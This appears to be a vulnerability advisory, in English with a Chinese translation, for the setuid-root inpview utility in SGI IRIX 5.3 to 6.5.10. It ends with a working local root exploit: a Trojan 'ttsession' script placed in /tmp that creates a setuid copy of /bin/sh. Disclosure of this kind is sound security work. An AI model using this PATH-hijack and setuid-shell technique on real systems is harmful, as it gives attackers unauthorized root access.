[原文]inpview in InPerson on IRIX 5.3 through IRIX 6.5.10 trusts the PATH environmental variable to find and execute the ttsession program, which allows local users to obtain root access by modifying the PATH to point to a Trojan horse ttsession program.

        IRIX 5.3至IRIX 6.5.10版本的InPerson上的inpview信任PATH环境变量寻找并执行ttsession程序。本地用户可以通过修改PATH指向一个特洛伊木马ttsession程序访问根目录。

The inpview utility, included by SGI in its Irix operating system, contains a vulnerability that will allow any local user to obtain root access. inpview is part of the InPerson dektop video conferencing package. As it needs to access a video capture device, it is setuid root, and attempts to run the "ttsession" utility using the system() library call. It does not specificy an explicit path, and as such will execute the first program or script named "ttsession" in the users path. By setting /tmp to be first in your path, creating a shell script in /tmp call ttsession, and making it executable, this shell script will be executed as root. 


% cat > /tmp/ttsession
#!/bin/sh
cp /bin/sh /tmp/rootshell
chmod 4755 /tmp/rootshell
^D
% chmod 755 /tmp/ttsession
% inpview&
% /tmp/rootshell
#
